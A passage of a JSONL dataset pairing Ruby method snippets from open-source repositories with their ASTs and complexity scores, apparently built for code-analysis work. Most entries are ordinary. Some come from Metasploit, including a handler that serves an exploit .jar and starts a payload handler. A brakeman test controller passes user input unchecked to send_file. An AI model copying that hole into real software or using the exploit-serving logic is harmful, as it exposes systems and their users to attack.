{"repo_name":"forem","file_path":"./repos/forem/app/helpers/notifications_helper.rb","start_line":47,"raw_source":"def mod_article_user(data)\n    return data[\"article_user\"] if data[\"article_user\"].present?\n\n    article_username = data[\"article\"][\"path\"].split(\"/\")[1]\n    { \"name\" => article_username, \"path\" => \"/#{article_username}\" }\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mod_article_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article_user\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article_user\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"article_username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"article\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"article_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_username\"]}]}]}]}]}]}]}","id":"b8459210-b778-45bc-94b0-025f2a15f127"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/runner.rb","start_line":190,"raw_source":"def ensure_output_directory_exists(path, io_name)\n      unless Dir.exist?(File.dirname(path))\n        raise \"Cannot redirect #{io_name} to #{path}\"\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_output_directory_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"io_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot redirect \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io_name\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"f365bed4-b223-4c65-b379-b410e92b10f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/lib/polls_validator.rb","start_line":184,"raw_source":"def valid_numbers?(poll)\n      return true if poll[\"type\"] != \"number\"\n\n      valid = true\n\n      min = poll[\"min\"].to_i\n      max = (poll[\"max\"].presence || MAX_VALUE).to_i\n      step = (poll[\"step\"].presence || 1).to_i\n\n      if min < 0\n        @post.errors.add(:base, \"Min #{I18n.t(\"errors.messages.greater_than\", count: 0)}\")\n        valid = false\n      elsif min > MAX_VALUE\n        @post.errors.add(:base, \"Min #{I18n.t(\"errors.messages.less_than\", count: MAX_VALUE)}\")\n        valid = false\n      end\n\n      if max < min\n        @post.errors.add(:base, \"Max #{I18n.t(\"errors.messages.greater_than\", count: \"min\")}\")\n        valid = false\n      elsif max > MAX_VALUE\n        @post.errors.add(:base, \"Max #{I18n.t(\"errors.messages.less_than\", count: MAX_VALUE)}\")\n        valid = false\n      end\n\n      if step <= 0\n        @post.errors.add(:base, \"Step #{I18n.t(\"errors.messages.greater_than\", count: 0)}\")\n        valid = false\n      elsif ((max - min + 1) / step) < 2\n        if poll[\"name\"] == DiscoursePoll::DEFAULT_POLL_NAME\n          @post.errors.add(:base, I18n.t(\"poll.default_poll_must_have_at_least_1_option\"))\n        else\n          @post.errors.add(\n            :base,\n            I18n.t(\"poll.named_poll_must_have_at_least_1_option\", name: poll[\"name\"]),\n          )\n        end\n        valid = false\n      end\n\n      valid\n    end","complexity_score":80.78,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_numbers?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"poll\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"number\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"min\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"min\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"max\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"max\"]}]},\"presence\"]},{\"type\":\"const\",\"children\":[null,\"MAX_VALUE\"]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"step\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"step\"]}]},\"presence\"]},{\"type\":\"int\",\"children\":[1]}]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Min \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.greater_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_VALUE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Min \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.less_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"const\",\"children\":[null,\"MAX_VALUE\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"min\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Max \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.greater_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"str\",\"children\":[\"min\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_VALUE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Max \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.less_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"const\",\"children\":[null,\"MAX_VALUE\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Step \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.messages.greater_than\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"min\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"/\",{\"type\":\"lvar\",\"children\":[\"step\"]}]}]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePoll\"]},\"DEFAULT_POLL_NAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.default_poll_must_have_at_least_1_option\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"poll.named_poll_must_have_at_least_1_option\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]}","id":"238922d3-46a8-4a4e-ad0a-6dcc604480be"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5/app/controllers/file_controller.rb","start_line":2,"raw_source":"def download_tempfile_with_params\n    send_file Tempfile.new([params[:file_name], \".txt\"])\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"download_tempfile_with_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]}]}","id":"d2ee7bdb-790b-4531-9d83-f1562e7f44bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/zip.rb","start_line":139,"raw_source":"def cleanup\n    if @token_stolen && session\n      session.sys.config.revert_to_self\n      print_status('Token restored.')\n    end\n\n    super\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@token_stolen\"]},{\"type\":\"send\",\"children\":[null,\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"revert_to_self\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Token restored.\"]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9d680b05-b8c0-4b8e-b544-f4013b442109"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/friendsmegplus.rb","start_line":154,"raw_source":"def execute\n    puts \"\", \"Importing from Friends+Me Google+ Exporter...\"\n\n    read_categories\n    check_categories\n    map_categories\n\n    import_users\n    import_posts\n\n    # No need to set trust level 0 for any imported users unless F+MG+E gets the\n    # ability to add +1 data, in which case users who have only done a +1 and\n    # neither posted nor commented should be TL0, in which case this should be\n    # called after all other processing done\n    # update_tl0\n\n    @imagefiles.close() if !@imagefiles.nil?\n    puts \"\", \"Uploaded #{@totalsize} bytes of image files\"\n    puts \"\", \"Done\"\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing from Friends+Me Google+ Exporter...\"]}]},{\"type\":\"send\",\"children\":[null,\"read_categories\"]},{\"type\":\"send\",\"children\":[null,\"check_categories\"]},{\"type\":\"send\",\"children\":[null,\"map_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imagefiles\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imagefiles\"]},\"close\"]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploaded \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@totalsize\"]}]},{\"type\":\"str\",\"children\":[\" bytes of image files\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Done\"]}]}]}]}","id":"b15aa11c-f021-4e03-84e1-cd7d0bb6721b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_event/automate.rb","start_line":5,"raw_source":"def manager_refresh(sync: false)\n      return if ext_management_system&.supports?(:streaming_refresh)\n\n      refresh_targets = manager_refresh_targets\n\n      return if refresh_targets.blank?\n\n      EmsRefresh.queue_refresh(refresh_targets, nil, :create_task => sync)\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"manager_refresh\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"sync\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"supports?\",{\"type\":\"sym\",\"children\":[\"streaming_refresh\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"refresh_targets\",{\"type\":\"send\",\"children\":[null,\"manager_refresh_targets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refresh_targets\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsRefresh\"]},\"queue_refresh\",{\"type\":\"lvar\",\"children\":[\"refresh_targets\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_task\"]},{\"type\":\"lvar\",\"children\":[\"sync\"]}]}]}]}]}]}","id":"19bdc4b6-67a3-4250-bbae-b50ba472fe69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/settings/repository_controller.rb","start_line":53,"raw_source":"def define_deploy_token_variables\n        @deploy_tokens = @group.deploy_tokens.active\n\n        @new_deploy_token = DeployToken.new\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"define_deploy_token_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deploy_tokens\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"deploy_tokens\"]},\"active\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_deploy_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployToken\"]},\"new\"]}]}]}]}","id":"96ca6688-27c1-4aab-af65-6f2c6f8c541a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/notifications_helper.rb","start_line":31,"raw_source":"def notification_icon(level)\n    icon = notification_icon_class(level)\n    return '' unless icon\n\n    sprite_icon(icon)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notification_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"icon\",{\"type\":\"send\",\"children\":[null,\"notification_icon_class\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sprite_icon\",{\"type\":\"lvar\",\"children\":[\"icon\"]}]}]}]}","id":"882204b9-b087-40e8-b3a4-ac8424519f31"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/censys_search.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Censys Search',\n        'Description' => %q{\n          The module uses the Censys REST API to access the same data accessible\n          through the web interface. The search endpoint allows queries using\n          the Censys Search Language against the Hosts dataset. Setting the\n          CERTIFICATES option will also retrieve the certificate details for each\n          relevant service by querying the Certificates dataset.\n        },\n        'Author' => [\n          'Nixawk', # original Metasploit module\n          'e2002e', # rework to use the API v2\n          'Christophe De La Fuente' # rework to use the API v2\n        ],\n        'References' => [\n          ['URL', 'https://search.censys.io']\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('CENSYS_UID', [true, 'The Censys API UID']),\n      OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']),\n      OptString.new('QUERY', [true, 'The Censys search query']),\n      OptBool.new('CERTIFICATES', [false, 'Query infos about certificates', false])\n    ])\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Censys Search\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module uses the Censys REST API to access the same data accessible\\n\"]},{\"type\":\"str\",\"children\":[\"          through the web interface. The search endpoint allows queries using\\n\"]},{\"type\":\"str\",\"children\":[\"          the Censys Search Language against the Hosts dataset. Setting the\\n\"]},{\"type\":\"str\",\"children\":[\"          CERTIFICATES option will also retrieve the certificate details for each\\n\"]},{\"type\":\"str\",\"children\":[\"          relevant service by querying the Certificates dataset.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nixawk\"]},{\"type\":\"str\",\"children\":[\"e2002e\"]},{\"type\":\"str\",\"children\":[\"Christophe De La Fuente\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://search.censys.io\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CENSYS_UID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Censys API UID\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CENSYS_SECRET\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Censys API SECRET\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"QUERY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Censys search query\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CERTIFICATES\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Query infos about certificates\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"4e94f219-955b-40e4-98cd-de7d23c3b765"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/models.rb","start_line":176,"raw_source":"def find(model_id, provider = nil)\n      if provider\n        find_with_provider(model_id, provider)\n      else\n        find_without_provider(model_id)\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]},{\"type\":\"optarg\",\"children\":[\"provider\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"send\",\"children\":[null,\"find_with_provider\",{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[null,\"find_without_provider\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]}]}","id":"c98d91a0-3bb6-458b-ad6a-51c7f99ef758"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_storeimagearray.rb","start_line":103,"raw_source":"def on_request_uri(cli, request)\n    vprint_status(\"Requesting: #{request.uri}\")\n    if request.uri !~ /\\.jar$/i\n      if not request.uri =~ /\\/$/\n        vprint_status(\"Sending redirect...\")\n        send_redirect(cli, \"#{get_resource}/\", '')\n        return\n      end\n\n      print_status(\"Sending HTML...\")\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    print_status(\"Sending .jar file...\")\n    send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })\n\n    handler(cli)\n  end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.jar$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending 